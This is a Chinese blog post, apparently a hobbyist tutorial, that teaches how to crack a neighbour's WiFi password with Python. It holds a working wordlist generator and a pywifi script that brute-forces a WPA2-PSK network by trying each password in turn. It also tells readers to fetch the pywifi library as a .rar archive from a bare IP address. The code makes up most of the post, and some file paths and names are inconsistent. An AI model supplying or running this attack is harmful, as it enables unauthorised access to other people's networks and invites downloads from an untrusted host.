什么?你用python破解了隔壁老王的WiFi密码!!!
小白前端开发
共 2500字,需浏览 5分钟
·
2021-10-19 06:42
相信大家都遇到过这样个问题,有时候网特别差,但是恰好又有许多的WiFi,但是你又不知道密码,这就相当于当你很饿的时候,有一碗面条在你面前却不给你筷子。这不是折磨人呢,今天教你用python来破解WiFi密码!
pywifi
http://180.76.135.143:3333/static/pu0YuH7DMovcXQ7m8RBVErh8.rar
首先我们需要一个密码本,就是用来存储我们破译用的密码,生成代码如下,其中的部分参数大家可以自行修改:
2. 运行一下上述代码,就会生成我们的密码本,接下来就是通过密码本来破解我们的WiFi了:
import itertools as its
import datetime
#记录程序运行时间
start=datetime.datetime.now()
words = '1234567890'#这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words,repeat=4)#4即生成4位密码,正常情况下热点密码位数为8
dic =open(r"C:\Users\Administrator\Desktop\paswwer.txt",'a')
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密码本生成好了')
end=datetime.datetime.now()
首先将我们下载的pywifi这个包解压缩将pywifi文件夹放在我们python环境里面的lib文件夹下面,不然无法引用我们的这个包:
所谓暴力破解可不是浪得虚名的,就是时间比较长一点,在程序运行过程中如果缺少什么包,直接pip install去下载,因为我也遇到过这种问题。# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime
#测试连接,返回链接结果
def wifiConnect(pwd):
#抓取网卡接口
wifi=pywifi.PyWiFi()
#获取第一个无线网卡
ifaces=wifi.interfaces()[0]
#断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
#创建WiFi连接文件
profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="jiayi"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
#调用密码
profile.key=pwd
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
#读取密码本
def readPassword():
print("开始破解:")
#密码本路径
path="C:\Users\Administrator\Desktop/password.txt"
#打开文件
file=open(path,"r")
while True:
try:
#一行一行读取
pad=file.readline()
bool=wifiConnect(pad)
if bool:
print("密码已破解:",pad)
print("WiFi已自动连接!!!")
break
else:
#跳出当前循环,进行下一次循环
print("密码破解中....密码校对: ",pad)
except:
continue
start=datetime.datetime.now()
readPassword()
end=datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end-start))
如果程序可以跑起来,但是中途又说pywifi failled什么的,不用管,继续跑!!!
评论